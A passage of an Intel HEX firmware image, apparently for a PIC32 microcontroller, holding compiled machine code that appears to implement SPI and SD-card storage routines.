:1043d00000a0023cdc56422401000324cc0043ac84
:1043e0003800c28f22004010000000003c00c227ad
:1043f00021204000f82b410f000000001c0040105d
:10440000000000003c00c2272120400021280000bd
:104410002dcf400f000000001500401000000000ec
:104420003000c293059d033c18fa64242128400003
:104430008513410f000000003100c293059d033c2d
:1044400030fa6424212840008513410f0000000049
:104450003200c293059d033c38fa642421284000b1
:104460008513410f00000000010002243400c2af98
:104470003000c293010042243000c2a33000c29336
:104480003300422c68ff4014000000003200c29349
:10449000010042243200c2a33200c2932000422c09
:1044a0005dff4014000000003100c293010042246f
:1044b0003100c2a33100c2934000422c52ff40148d
:1044c00000000000059d023c44fa4424059d023c86
:1044d00048fa45242013410f000000003400c28f29
:1044e00021e8c0036400bf8f6000be8f6800bd2755
:1044f0000800e00300000000e0ffbd271c00bfaf84
:104500001800beaf21f0a0032000c4af2400c5af47
:104510002000c48fa9b7400f000000001000c2aff8
:10452000059d023c4cfa44242000c58f2013410f06
:10453000000000001000c38f0800023c241062003d
:10454000c21402000500401000000000059d023c5e
:104550006cfa422459d1400b00000000059d023c3a
:1045600074fa4224059d033c7cfa6424212840000f
:104570002013410f000000001000c38f0400023c14
:1045800024106200821402000500401000000000a8
:10459000059d023c6cfa42246ad1400b00000000e9
:1045a000059d023c74fa4224059d033c98fa64245c
:1045b000212840002013410f000000001000c38f8d
:1045c0000300023c00f04234241062000213020097
:1045d000059d033cb4fa6424212840008513410f53
:1045e000000000001000c38f0300023c00f04234c2
:1045f0002410620002130200010042244010020055
:10460000059d033cd0fa6424212840008513410f06
:10461000000000001000c28f00084230c2120200e9
:104620000500401000000000059d023c6cfa422489
:1046300090d1400b00000000059d023c74fa42241a
:10464000059d033cdcfa6424212840002013410f1f
:10465000000000001000c28f0004423082120200ed
:104660000500401000000000059d023c6cfa422449
:10467000a0d1400b00000000059d023c74fa4224ca
:10468000059d033cf8fa6424212840002013410fc3
:10469000000000001000c28f00034230021202002e
:1046a000059d033c14fb6424212840008513410f21
:1046b000000000001000c28f00034230021a020006
:1046c000059d023cdc5f4224211062000000429004
:1046d000059d033cd0fa6424212840008513410f36
:1046e000000000001000c28f80004230c2110200a2
:1046f0000500401000000000059d023c6cfa4224b9
:10470000c4d1400b00000000059d023c74fa422415
:10471000059d033c30fb6424212840002013410ff9
:10472000000000001000c28f700042300211020031
:10473000059d033c4cfb6424212840008513410f58
:10474000000000001000c28f700042300219020009
:1047500000a0023c80180300207242242110620055
:104760000000428c059d033c68fb64242128400026
:104770002013410f000000001000c28f0e004230d5
:1047800042100200059d033c70fb64242128400078
:104790008513410f000000001000c28f010042305d
:1047a0000500401000000000059d023c6cfa422408
:1047b000f0d1400b00000000059d023c74fa422439
:1047c000059d033c8cfb6424212840002013410fed
:1047d00000000000059d023ca8fb44242400c58f76
:1047e0002013410f000000002400c48f04000524a2
:1047f00078b7400f00000000059d023c44fa4424b5
:10480000059d023c48fa45242013410f000000009a
:104810000100022421e8c0031c00bf8f1800be8fd6
:104820002000bd270800e00300000000e0ffbd27d6
:104830001c00bfaf1800beaf21f0a0032000c4af22
:104840002000c48fa9b7400f000000001000c2afc5
:104850001000c38ffcff023cff0f4234241862009b
:1048600000a0023cdc564224a400428cfeff4224fd
:1048700042100200002302000300023c00f0423418
:1048800024108200251062001000c2af00a0023c7c
:10489000dc564224a800428c1400c2a31400c29328
:1048a0001a004010000000001400c393020002240c
:1048b00004006214000000001400c0a33bd2400baf
:1048c000000000001400c3930400022405006214d9
:1048d00000000000010002241400c2a33bd2400be0
:1048e00000000000020002241400c2a31000c38fc5
:1048f000fffc0224241862001400c293001202007c
:1049000000034230251062001000c2af00a0023c3c
:10491000dc564224cc00428c0a004010000000000b
:1049200000a0023cdc564224a00043900100022477
:1049300004006214000000001400c0a38fd2400bda
:104940000000000000a0023cdc564224c400428c5f
:104950000b0040100000000000a0023cdc56422486
:10496000a000439001000224050062140000000032
:10497000060002241400c2a38fd2400b00000000e6
:1049800000a0023cdc564224a00042900700432cc9
:10499000270060100000000080180200039d023c08
:1049a000b4494224211062000000428c08004000fb
:1049b00000000000304a039dd049039de049039d5b
:1049c000f049039d004a039d104a039d204a039d20
:1049d000070002241400c2a38fd2400b0000000085
:1049e000040002241400c2a38fd2400b0000000078
:1049f000050002241400c2a38fd2400b0000000067
:104a0000010002241400c2a38fd2400b000000005a
:104a1000020002241400c2a38fd2400b0000000049
:104a2000030002241400c2a38fd2400b0000000038
:104a300021100000a7d2400b000000001000c38f1f
:104a40008fff0224241862001400c2930011020098
:104a500070004230251062001000c2af1000c38ffa
:104a6000f1ff02242418620000a0023cdc5642241c
:104a7000b000428c42110200401002000e00423091
:104a8000251062001000c2af2000c48f1000c58f37
:104a9000acb6400f000000000100022421e8c00372
:104aa0001c00bf8f1800be8f2000bd270800e00348
:104ab00000000000e8ffbd271400bfaf1000beaf2c
:104ac00021f0a0031800c4af2110a0001c00c2a355
:104ad0001c00c2931600432c570060100000000019
:104ae00080180200039d023cfc4a4224211062000f
:104af0000000428c0800400000000000384c039d7c
:104b0000544b039d544b039d544b039d544b039da9
:104b1000544b039d544b039d384c039d384c039dcf
:104b2000144c039d144c039d844b039dcc4b039d5f
:104b3000f04b039d144c039da84b039d384c039de3
:104b4000844b039d384c039d384c039d384c039d8a
:104b5000144c039d1800c48f059d023cc8fb4524de
:104b600008000624494a410f000000001800c48fc5
:104b70000bd2400f00000000010002240fd3400bb5
:104b8000000000001800c48f059d023cd4fb4524a2
:104b900008000624494a410f0000000001000224d9
:104ba0000fd3400b000000001800c48f059d023c8d
:104bb000e0fb452408000624494a410f000000009c
:104bc000010002240fd3400b000000001800c48f26
:104bd000059d023cecfb452408000624494a410f90
:104be00000000000010002240fd3400b0000000071
:104bf0001800c48f059d023cf8fb452408000624dc
:104c0000494a410f00000000010002240fd3400b6d
:104c1000000000001800c48f059d023cc8fb45241d
:104c200008000624494a410f000000000100022448
:104c30000fd3400b000000002110000021e8c0034a
:104c40001400bf8f1000be8f1800bd270800e003be
:104c50000000000078ffbd278400bfaf8000beaf1a
:104c600021f0a0038800c4af8c00c5af9000c6af90
:104c70001400c0af1000c0afefd4400b0000000024
:104c80003400c2271c00c2af1800c0af69d3400b6c
:104c9000000000001000c28f801002008c00c38f43
:104ca000211062000000428c6400422c3a00401443
:104cb000000000001000c28f801002008c00c38f23
:104cc000211062000000428c0102422c3200401090
:104cd000000000001c00c38f3400c22723186200ac
:104ce0004500022403006214000000006ed3400b54
:104cf000000000001000c28f801002008800c38fe7
:104d0000211062000000428c0102422c1d00401064
:104d1000000000001000c28f801002008800c38fc6
:104d2000211062000000428c2120400080000524f8
:104d3000140006246ab5400f00000000080040106f
:104d4000000000001c00c28f010043241c00c3af00
:104d500030000324000043a05dd3400b000000009e
:104d60001c00c28f010043241c00c3af3100032488
:104d7000000043a0010002241800c2af66d3400b1c
:104d8000000000001000c28f010042241000c2afda
:104d90006ed3400b000000001000c28f01004224bf
:104da0001000c2af1000c38f9000c28f2b106200a2
:104db000b8ff4014000000001c00c28f000040a09b
:104dc0001800c28f7d014010000000003400c2278f
:104dd00021204000a34a410f0000000006000324e8
:104de0005c004310000000000700432c0900601025
:104df0000000000002000324110043100000000026
:104e0000050003243a00431000000000e6d4400be4
:104e10000000000026000324a4004310000000004e
:104e20004600032413014310000000002200032465
:104e30007600431000000000e6d4400b00000000a4
:104e40003400c22721204000059d023ce8f945249a
:104e500002000624d352410f000000000900401454
:104e6000000000003400c227059d033c04fc6424bc
:104e7000212840002013410f00000000bad3400b4e
:104e8000000000003400c22721204000059d023ca4
:104e90001cfc452402000624d352410f00000000f0
:104ea00009004014000000003400c227059d033ca7
:104eb00020fc6424212840002013410f0000000042
:104ec000bad3400b000000003400c227059d033c0c
:104ed0002cfc6424212840002013410f0000000016
:104ee000edd4400b00000000edd4400b00000000aa
:104ef0003400c22721204000059d023cfcf94524d6
:104f000005000624d352410f0000000009004014a0
:104f1000000000003400c227059d033c3cfc6424d3
:104f2000212840002013410f00000000edd4400b69
:104f3000000000003400c227059d033c2cfc6424c3
:104f4000212840002013410f00000000edd4400b49
:104f5000000000003400c22721204000059d023cd3
:104f6000ecf9452402000624d352410f0000000052
:104f70001e004014000000003400c227059d033cc1
:104f800054fc6424212840002013410f000000003d
:104f90003400c22702004224059d033c6cfc6424bb
:104fa000212840002013410f000000002000c327eb
:104fb0003400c22703004224212060002128400041
:104fc000c9b9400f000000002000c227059d033c26
:104fd00074fc6424212840002013410f00000000cd
:104fe000108180afedd4400b000000003400c227d8
:104ff000059d033c2cfc6424212840002013410f14
:1050000000000000edd4400b000000003400c22777
:1050100021204000059d023cecf9452402000624b5
:10502000d352410f0000000018004014000000009f
:105030003400c227059d033c7cfc642421284000e9
:105040002013410f000000002000c3273400c227b6
:10505000020042242120600021284000c9b9400fed
:10506000000000002000c227059d033c88fc64244a
:10507000212840002013410f0000000001000224fd
:10508000108182afedd4400b000000003400c22735
:10509000059d033c2cfc6424212840002013410f73
:1050a00000000000edd4400b000000001081828f52
:1050b00033004010000000003400c22721204000cf
:1050c000059d023cecf9452402000624d352410f11
:1050d000000000002a004014000000003400c22735
:1050e000059d033c90fc6424212840002013410fbf
:1050f000000000002000c3273400c2270200422421
:105100002120600021284000c9b9400f00000000a4
:105110002000c227059d033cacfc642421284000ec
:105120002013410f000000003400c2272200422457
:10513000059d033c6cfc6424212840002013410f92
:10514000000000002000c3273400c22723004224af
:105150002120600021284000c9b9400f0000000054
:105160002000c227059d033cb4fc64242128400094
:105170002013410f00000000edd4400b00000000a0
:105180001081828f33004014000000003400c227d9
:1051900021204000059d023cecf945240200062434
:1051a000d352410f000000002a004014000000000c
:1051b0003400c227059d033cbcfc64242128400028
:1051c0002013410f000000003400c22702004224d7
:1051d000059d033c6cfc6424212840002013410ff2
:1051e000000000002000c3273400c227030042242f
:1051f0002120600021284000c9b9400f00000000b4
:105200002000c227059d033cacfc642421284000fb
:105210002013410f000000002000c3273400c227e4
:10522000230042242120600021284000c9b9400ffa
:10523000000000002000c227059d033cb4fc64244c
:10524000212840002013410f00000000edd4400b46
:10525000000000003400c227059d033c2cfc6424a0
:10526000212840002013410f00000000edd4400b26
:10527000000000003400c22721204000059d023cb0
:10528000ecf9452402000624d352410f000000002f
:1052900039004014000000003400c227059d033c83
:1052a000ccfc6424212840002013410f00000000a2
:1052b0002000c3273400c2270200422421206000be
:1052c00021284000c9b9400f000000002000c2277b
:1052d000059d033cacfc6424212840002013410fb1
:1052e000000000003400c22722004224059d033c38
:1052f0006cfc6424212840002013410f00000000b2
:105300002000c3273400c22723004224212060004c
:1053100021284000c9b9400f000000002000c2272a
:10532000059d033cacfc6424212840002013410f60
:10533000000000002000c3273400c227430042249d
:105340002120600021284000c9b9400f0000000062
:105350002000c227059d033cb4fc642421284000a2
:105360002013410f0000000001000224108182afd1
:10537000edd4400b000000003400c227059d033c23
:105380002cfc6424212840002013410f0000000061
:10539000edd4400b000000003400c227059d033c03
:1053a0002cfc6424212840002013410f0000000041
:1053b00000000000010002241400c2af1000c38fdf
:1053c0009000c28f2b1062002dfe401400000000e0
:1053d000059d023c44fa4424059d023c48fa4524bc
:1053e0002013410f000000001400c28f21e8c00309
:1053f0008400bf8f8000be8f8800bd270800e003b7
:1054000000000000f8ffbd270400beaf21f0a0039c
:1054100088bf023c5061428c010042300100422ca6
:10542000ff00423021e8c0030400be8f0800bd2702
:105430000800e00300000000f8ffbd270400beaf35
:1054400021f0a0034281829721e8c0030400be8faf
:105450000800bd270800e00300000000f8ffbd279a
:105460000400beaf21f0a0033c81828f21e8c0037d
:105470000400be8f0800bd270800e0030000000004
:10548000f8ffbd270400beaf21f0a00388bf033c96
:1054900040616294010004240400827c406162a4a3
:1054a00088bf033ce060629401000424444a827c8b
:1054b000e06062a488bf033cc0606294444a027cfe
:1054c000c06062a488bf033c406162940100042470
:1054d0004408827c406162a421e8c0030400be8fbe
:1054e0000800bd270800e00300000000e8ffbd271a
:1054f0001400bfaf1000beaf21f0a00319d9400fb8
:105500000000000088bf033ce060629401000424b6
:10551000444a827ce06062a42110000021e8c003bc
:105520001400bf8f1000be8f1800bd270800e003d5
:1055300000000000c8ffbd273400bfaf3000beaf81
:1055400021f0a0033800c4af2110a0004000c6af76
:105550003c00c2a388bf033ce0606294444a027ce2
:10556000e06062a43c00c293059d043c80100200f0
:1055700080180200231862001c3f82242110620060
:10558000000042902800c2a34000c28f2400c2af96
:105590003c00c293059d043c80100200801802006c
:1055a000231862001c3f82242110620001004290f7
:1055b0002000c2a32800c293010003248431627c2e
:1055c0002800c2a32800c2932120400026d9400f02
:1055d000000000002700c2932120400026d9400f80
:1055e000000000002600c2932120400026d9400f71
:1055f000000000002500c2932120400026d9400f62
:10560000000000002400c2932120400026d9400f52
:10561000000000002000c2932120400026d9400f46
:10562000000000003c00c393050002240300621444
:10563000000000003fd9400f0000000014000224c9
:105640001000c2a73fd9400f000000001800c2a3fd
:105650001000c297ffff42241000c2a71800c39396
:10566000ff00022404006214000000001000c29732
:10567000f4ff4014000000003c00c293059d033c71
:105680001c3f63248010020080200200231082004f
:10569000211062000400438c0200022408006214fe
:1056a000000000001800c2931900c2a33fd9400fa8
:1056b000000000001800c2a3e3d5400b000000006a
:1056c0003c00c293059d033c1c3f632480100200f4
:1056d0008020020023108200211062000400438c0d
:1056e0000100022412006214000000000a00023cc3
:1056f0001400c2af3fd9400f000000001800c2a341
:105700001400c28fffff42241400c2af1800c293de
:1057100004004014000000001400c28ff5ff401484
:10572000000000001800c0a3e3d5400b00000000fb
:105730003c00c293059d033c1c3f63248010020083
:105740008020020023108200211062000400438c9c
:10575000040002240d006214000000003fd9400f35
:10576000000000001f00c2a33fd9400f000000004e
:105770001e00c2a33fd9400f000000001d00c2a3bd
:105780003fd9400f000000001c00c2a3ff0004240a
:1057900026d9400f000000003c00c293059d043c48
:1057a0008010020080180200231862001c3f82242f
:1057b0002110620008004290060040140000000022
:1057c00088bf033ce060629401000424444a827c68
:1057d000e06062a43800c28f1800c48f1c00c38f21
:1057e000000044ac040043ac3800c28f21e8c00381
:1057f0003400bf8f3000be8f3800bd270800e003a3
:1058000000000000d0ffbd272c00bfaf2800beafb6
:1058100021f0a0033000c4af3400c5af0002022461
:105820001400c2a7000202241800c2af3400c28fc5
:105830001c00c2af3000c28f2000c2af01000224a2
:105840002400c2a31400c227212040002bd6400f01
:10585000000000001000c2a31000c2930400401416
:10586000000000000100022425d6400b00000000cb
:105870001000c393ff000224040062140000000023
:105880002110000025d6400b0000000011d6400b6f
:105890000000000021e8c0032c00bf8f2800be8f4d
:1058a0003000bd270800e00300000000d0ffbd2746
:1058b0002c00bfaf2800beaf21f0a0033000c4af62
:1058c0003000c28f10004290020003248a0043106f
:1058d00000000000030043280800601000000000e2
:1058e0000e00401000000000010003240e004310d1
:1058f0000000000048d7400b000000000300032414
:105900005700431000000000fe000324f70043107e
:105910000000000048d7400b0000000021100000ec
:1059200051d7400b0000000000020224588082a7db
:1059300000a0023c3000c38f0000648c0400678c20
:105940000800668c0c00658c1000638c5c7244aca3
:105950005c724424040087ac5c724424080086ac6a
:105960005c7244240c0085ac5c724224100043ac91
:1059700040818293080040140000000000a0023c17
:105980005c7242240c00428c401a020000a0023ccf
:105990005c7242240c0043ac00a0023c5c724224c6
:1059a0000400428c0102422c0e0040100000000056
:1059b000010002245c8082af00a0023c5c724224a1
:1059c0000c00428c1800c327212060000800052429
:1059d000213040004dd5400f0000000087d6400b1d
:1059e000000000005c8080af00a0023c5c7242249a
:1059f0000c00428c2000c3272120600009000524f0
:105a0000213040004dd5400f000000002000c38f22
:105a10002400c28f1800c3af1c00c2af1800c2938d
:105a200007004010000000003000c28ffeff03247a
:105a3000100043a00100022451d7400b00000000d9
:105a40000400023c608082af3000c28f0300032458
:105a5000100043a00100022451d7400b00000000b9
:105a60006080828f1e004010000000006080828fe6
:105a7000ffff4224608082af3fd9400f000000004a
:105a80001600c2a31600c393ff0002241100621087
:105a9000000000001600c393fe00022407006214f9
:105aa000000000003000c28f02000324100043a059
:105ab0000200022451d7400b000000003000c28fca
:105ac000feff0324100043a00100022451d7400b25
:105ad000000000000100022451d7400b000000002c
:105ae0003000c28ffeff0324100043a001000224f7
:105af00051d7400b0000000000a0023c5c72422421
:105b00000400428c63004010000000003000c28f8f
:105b10000000439400a0023c5c7243a43000c28f9a
:105b20000800438c00a0023c5c724224080043ac95
:105b300000a0023c5c7242240400438c00a0023ca2
:105b40005c7242942318620000a0023c5c72422402
:105b5000040043ac5880839700a0023c5c724294de
:105b600023106200ffff4230588082a700a0023c51
:105b70005c7242240800428c1000c2af00a0023cbc
:105b80005c7242941400c2a71400c2972a0040100d
:105b9000000000001000c28fffff42241000c2afbf
:105ba00080bf023cff000324205e43ac1000c28f84
:105bb000010042241000c2af1400c297ffff42242c
:105bc0001400c2a71400c297040040140000000093
:105bd0000000000004d7400b00000000000000009f
:105be00080bf023c105e428c01004230fcff40103e
:105bf0000000000080bf023c205e428cff0043306a
:105c00001000c28f000043a0e8d6400b0000000047
:105c100080bf023c105e428c01004230fcff40100d
:105c20000000000080bf023c205e428cff00433039
:105c30001000c28f000043a05880829712004014c9
:105c4000000000003fd9400f000000003fd9400f86
:105c50000000000000a0023c5c7242240400428c60
:105c600004004010000000003000c28f0300032435
:105c7000100043a000020224588082a701000224e1
:105c800051d7400b000000000200022451d7400b06
:105c9000000000005c80828f0700401400000000bc
:105ca0002000c227212040000500052421300000eb
:105cb0004dd5400f0000000088bf033ce0606294b7
:105cc00001000424444a827ce06062a4ff000424b2
:105cd00026d9400f000000003000c28f100040a005
:105ce0002110000051d7400b000000003000c28f8f
:105cf000ffff0324100043a02000c2272120400002
:105d000005000524213000004dd5400f00000000a3
:105d10002000c38f2400c28f1800c3af1c00c2af85
:105d200088bf033ce060629401000424444a827c02
:105d3000e06062a4ff00042426d9400f00000000a8
:105d4000ff00022421e8c0032c00bf8f2800be8f73
:105d50003000bd270800e00300000000c8ffbd2799
:105d60003400bfaf3000beaf21f0a0033800c4af95
:105d70003800c28f100042900200032478004310c4
:105d8000000000000300432808006010000000002d
:105d90001100401000000000010003241100431016
:105da00000000000afd8400b0000000004000324f6
:105db000150143100000000004004328d0006014c7
:105dc00000000000fe0003242b014310000000002f
:105dd000afd8400b0000000021100000b0d8400bed
:105de0000000000000020224648082a700a0023ca0
:105df0003800c38f0000648c0400678c0800668c38
:105e00000c00658c1000638c5c7244ac5c724424a2
:105e1000040087ac5c724424080086ac5c724424a5
:105e20000c0085ac5c724224100043ac00a0023c24
:105e30005c7242240400428c0102422c0500401096
:105e4000000000000a000224668082a3b1d7400b44
:105e5000000000000b000224668082a300a0023c28
:105e60005c7242240400428c421202001000c2af55
:105e70001000c28f04004014000000001000c28f08
:105e8000010042241000c2af1c00c22721204000a4
:105e90000f000524213000004dd5400f0000000008
:105ea0001c00c29307004014000000002800c22715
:105eb00021204000130005241000c68f4dd5400f4f
:105ec00000000000408182930800401400000000a0
:105ed00000a0023c5c7242240c00428c401a02007a
:105ee00000a0023c5c7242240c0043ac66808293aa
:105ef0002118400000a0023c5c7242240c00428c3d
:105f00002800c42721286000213040004dd5400fd3
:105f1000000000002800c38f2c00c28f1c00c3affc
:105f20002000c2af1c00c293070040100000000018
:105f30003800c28fffff0324100043a0ff0002249b
:105f4000b0d8400b000000003800c28f02000324cc
:105f5000100043a002000224b0d8400b0000000053
:105f600064808397000202240d0062140000000088
:105f7000668083930b000224060062140000000078
:105f8000fc00042426d9400f00000000e8d7400b95
:105f900000000000fe00042426d9400f000000008d
:105fa0003800c28f0000439400a0023c5c7243a4fe
:105fb0003800c28f0800438c00a0023c5c7242246f
:105fc000080043ac00a0023c5c7242240400438cf5
:105fd00000a0023c5c7242942318620000a0023cc4
:105fe0005c724224040043ac6480839700a0023cae
:105ff0005c72429423106200ffff4230648082a7eb
:1060000000a0023c5c7242240800428c1400c2af23
:1060100000a0023c5c7242941800c2a71400c28f18
:10602000010043241400c3af000042902118400037
:1060300080bf023c205e43ac1800c297ffff4224a1
:106040001800c2a70000000080bf023c105e428c16
:1060500001004230fcff40100000000080bf023c05
:10606000205e428cff004230678082a31800c297f6
:10607000eaff401400000000648082971d00401475
:106080000000000000020224648082a7ff000424b4
:1060900026d9400f00000000ff00042426d9400f3d
:1060a000000000003fd9400f000000001f004330f7
:1060b0000500022407006210000000003800c28fb3
:1060c000feff0324100043a003000224b0d8400bbd
:1060d000000000003800c28f03000324100043a01a
:1060e0000a00023c688082af03000224b0d8400b53
:1060f0000000000002000224b0d8400b00000000a5
:106100006880828f3a004010000000006880828f13
:10611000ffff4224688082afff00042426d9400f8d
:10612000000000003fd9400f00000000678082a3fc
:10613000678082932b0040100000000000a0023c0a
:106140005c7242240400428c2000401400000000d5
:106150000a00023c688082af668083930b000224b1
:106160000d00621400000000fd00042426d9400f39
:1061700000000000ff00042426d9400f00000000aa
:106180003800c28f04000324100043a0030002243f
:10619000b0d8400b0000000088bf033ce060629470
:1061a00001000424444a827ce06062a4ff000424cd
:1061b00026d9400f000000003800c28f100040a018
:1061c00021100000b0d8400b000000003800c28f42
:1061d00002000324100043a002000224b0d8400ba8
:1061e0000000000003000224b0d8400b00000000b3
:1061f0003800c28ffeff0324100043a003000224d6
:10620000b0d8400b000000006880828f1a00401058
:10621000000000006880828fffff4224688082af08
:106220003fd9400f00000000678082a367808293ff
:106230000e0040100000000088bf033ce060629444
:1062400001000424444a827ce06062a4ff0004242c
:1062500026d9400f000000003800c28f100040a077
:1062600021100000b0d8400b000000000300022401
:10627000b0d8400b000000002800c22721204000b9
:1062800005000524213000004dd5400f000000001e
:1062900088bf033ce060629401000424444a827c8d
:1062a000e06062a4ff00042426d9400f0000000033
:1062b0003800c28fffff0324100043a0ff00022418
:1062c00021e8c0033400bf8f3000be8f3800bd27e7
:1062d0000800e00300000000e0ffbd271c00bfaf86
:1062e0001800beaf21f0a0032000c4af2400c5af4a
:1062f0002110c0002800c2a32800c2930700401448
:10630000000000002000c28f0400401400000000c4
:1063100021100000eed8400b0000000000a0023c5d
:1063200000020324707243a400a0023c7072422455
:1063300000020324040043ac00a0023c707242241b
:106340002400c38f080043ac00a0023c70724224ba
:106350002000c38f0c0043ac00a0023c70724224aa
:1063600001000324100043a000a0023c70724424ea
:1063700057d7400f000000001000c2a31000c293c6
:10638000040040140000000001000224eed8400b7d
:10639000000000001000c393ff00022404006214f8
:1063a0000000000021100000eed8400b00000000ab
:1063b000dad8400b0000000021e8c0031c00bf8faa
:1063c0001800be8f2000bd270800e0030000000079
:1063d000f8ffbd270400beaf21f0a00388bf023c38
:1063e0005061428c4000427cff00423021e8c003f3
:1063f0000400be8f0800bd270800e0030000000075
:10640000f0ffbd270c00beaf21f0a00321108000db
:106410001000c2a31000c2930fd9400b0000c2a30a
:106420000b2702240400c2af000000000400c28f4a
:10643000ffff4324fdff40140400c3af0000c293dc
:10644000ffff4324f6ff40140000c3a340000000f8
:106450000000000021e8c0030c00be8f0800e0032c
:106460001000bd27f8ffbd270400beaf21f0a00338
:1064700080bf023c105e428cff7f433080bf023cf5
:10648000105e43ac21e8c0030400be8f0800bd27a6
:106490000800e00300000000e0ffbd271c00bfafc4
:1064a0001800beaf21f0a003211080002000c2a37d
:1064b0000000000080bf023c105e428c08004230a9
:1064c000fcff4010000000002000c39380bf023c8e
:1064d000205e43ac8357410f000000001000c2a3b0
:1064e0002110000021e8c0031c00bf8f1800be8fe0
:1064f0002000bd270800e00300000000e8ffbd27e2
:106500001400bfaf1000beaf21f0a00300000000d8
:1065100080bf023c105e428c08004230fcff4010fd
:106520000000000080bf023cff000324205e43ac5b
:106530008357410f00000000ff00423021e8c003f4
:106540001400bf8f1000be8f1800bd270800e003a5
:1065500000000000e8ffbd271400beaf21f0a0033b
:106560001800c4af80bf023c105e40acc404023cc3
:1065700000b442340000c2af3101023c002d42346d
:106580000400c2af0400c28f401002000000c38f9d
:106590001b006200f4014000101000001210000007
:1065a0000800c2af0400c28f401002000000c38f79
:1065b0001b006200f40140001010000004004010b5
:1065c000000000000800c28f010042240800c2af92
:1065d0000800c28f0101422c03004014000000009b
:1065e000000102240800c2af0800c28f040040105e
:1065f000000000000800c28fffff42240800c2af65
:106600000800c28fff0042302118400080bf023cca
:10661000305e43ac80bf033c005e628c010004240a
:106620008431827c005e62ac80bf033c005e628c81
:106630000442027c005e62ac88bf033cc06062948e
:106640008452027cc06062a488bf033cc060629434
:106650000400027cc06062a488bf033c8060629436
:10666000010004240421827c806062a480bf033c7a
:10667000005e628c01000424c47b827c005e62acfc
:1066800021e8c0031400be8f1800bd270800e003f6
:1066900000000000d8ffbd272400bfaf2000beaf20
:1066a00021f0a00320030424008005341355410f7a
:1066b00000000000c404023c00b442341000c2af29
:1066c0000600023c801a42341400c2af1400c28f8c
:1066d000401002001000c38f1b006200f401400054
:1066e00010100000121000001800c2af1400c28f7a
:1066f000401002001000c38f1b006200f401400034
:106700001010000004004010000000001800c28fac
:10671000010042241800c2af1800c28f0101422cb0
:106720000300401400000000000102241800c2af62
:106730001800c28f04004010000000001800c28f33
:10674000ffff42241800c2af1800c28fff00423082
:106750002118400080bf023c305e43ac21e8c003fa
:106760002400bf8f2000be8f2800bd270800e00353
:1067700000000000b0ffbd274c00bfaf4800beaf17
:106780004400b0af21f0a003508080a3518080a3cb
:106790003c8180af408180a388bf033ce06062946d
:1067a00001000424444a827ce06062a4a5d9400f21
:1067b000000000001e00042400d9400f000000006b
:1067c00088bf033ce060629401000424444a827c58
:1067d000e06062a41000c0a7fed9400b00000000da
:1067e000ff00042426d9400f000000001000c297cb
:1067f000010042241000c2a71000c2970a00422cd8
:10680000f7ff401400000000640002241000c2a73b
:1068100088bf033ce060629401000424444a827c07
:10682000e06062a4ff00042426d9400f00000000ad
:1068300088bf033ce0606294444a027ce06062a44a
:106840001000c297ffff42241000c2a71c00c227fd
:106850002120400021280000213000004dd5400fac
:10686000000000001c00c393010002240400621019
:10687000000000001000c297e5ff40140000000077
:106880001000c2972a0040140000000088bf033c9b
:10689000e060629401000424444a827ce06062a4c7
:1068a000ff00042426d9400f0000000088bf033ced
:1068b000e0606294444a027ce06062a43800c2272f
:1068c0002120400005000524213000004dd5400f57
:1068d000000000003800c38f3c00c28f1c00c3af13
:1068e0002000c2af3800c22721204000212800002c
:1068f000213000004dd5400f000000003800c38f4c
:106900003c00c28f1c00c3af2000c2af1c00c39369
:1069100001000224060062100000000002000224b0
:10692000508082a3508082277adb400b0000000059
:106930003800c2272120400002000524aa010624b5
:106940004dd5400f000000003800c38f3c00c28fbf
:106950001c00c3af2000c2af2000c28fff0f433026
:10696000aa0102244a006214000000001c00c28f29
:106970000400423046004014000000003800c227e6
:106980002120400010000524213000004dd5400f8b
:10699000000000003800c38f3c00c28f1c00c3af52
:1069a0002000c2af1000c0a784da400b0000000036
:1069b0003800c227212040000f00052421300000ac
:1069c0004dd5400f000000003800c22721204000b4
:1069d000120005240040063c4dd5400f0000000089
:1069e0003800c38f3c00c28f1c00c3af2000c2af71
:1069f0001c00c293030040140000000088da400b22
:106a0000000000001000c297010042241000c2a73d
:106a10001000c397ffff0234e5ff6214000000007e
:106a20001000c397ffff023403006214000000004f
:106a300002000224508082a33800c2272120400097
:106a400010000524213000004dd5400f000000004b
:106a50003800c38f3c00c28f1c00c3af2000c2af00
:106a60002000c38f0040023c24106200050040104b
:106a70000000000001000224408182a3d0da400b14
:106a800000000000408180a3d0da400b000000002d
:106a900088bf033ce060629401000424444a827c85
:106aa000e06062a40100042400d9400f000000004f
:106ab00088bf033ce0606294444a027ce06062a4c8
:106ac000408180a3ff1f02241000c2a73800c22704
:106ad0002120400001000524213000004dd5400f49
:106ae000000000003800c38f3c00c28f1c00c3af01
:106af0002000c2af1000c297ffff42241000c2a7bf
:106b00001c00c29304004010000000001000c29757
:106b1000eeff4014000000001000c297080040146f
:106b20000000000002000224508082a388bf033cc2
:106b3000e060629401000424444a827ce06062a424
:106b400088bf033ce060629401000424444a827cd4
:106b5000e06062a43e00042455d9400f000000000c
:106b600088bf033ce0606294444a027ce06062a417
:106b7000140002241000c2a73800c22721204000c0
:106b800003000524213000004dd5400f0000000017
:106b90003800c38f3c00c28f1c00c3af2000c2afbf
:106ba0001000c297ffff42241000c2a71c00c2932e
:106bb00004004010000000001000c297eeff4014d7
:106bc000000000001000c2970b00401400000000fd
:106bd00002000224508082a388bf033ce0606294dc
:106be00001000424444a827ce06062a45080822731
:106bf0007adb400b000000001300c0a31200c0a30a
:106c000017db400b000000001300d0933fd9400f6a
:106c100000000000211840001000c2272110500081
:106c2000140043a01300c293010042241300c2a326
:106c30001200c29306004014000000002400c39319
:106c4000fe00022402006214000000001300c0a332
:106c50001200c293010042241200c2a31200c29388
:106c60001400422ce8ff401400000000000202243f
:106c7000428182a700020224528082a7518082931f
:106c8000010003240400627c518082a32400c2938b
:106c9000c000423011004010000000002b00c293e1
:106ca0003f004230001c02002c00c2930012020080
:106cb000251862002d00c293251062001400c2af97
:106cc0001400c28f0100422480120200ffff422400
:106cd0003c8182af67db400b000000002a00c293ba
:106ce000001c02002b00c293001202002518620053
:106cf0002c00c293251062001400c2af1400c38f91
:106d00000300023cc0ff4234241062001400c2aff2
:106d10001400c28f821102001400c2af2d00c29372
:106d200003004230ff00423040100200ff004330b9
:106d30002e00c293c2110200ff00423025106200f3
:106d40001800c2a32900c2930f0042301900c2a349
:106d50001900c293f7ff42240100032404104300ea
:106d60001900c2a31400c28f010043241800c2936b
:106d7000020042240100042404104400ffff4230ba
:106d8000180062001900c293121800001800620077
:106d900012180000ffff62243c8182af3800c22736
:106da0002120400011000524213000004dd5400f66
:106db00000000000428182973800c3272120600034
:106dc00007000524213040004dd5400f0000000091
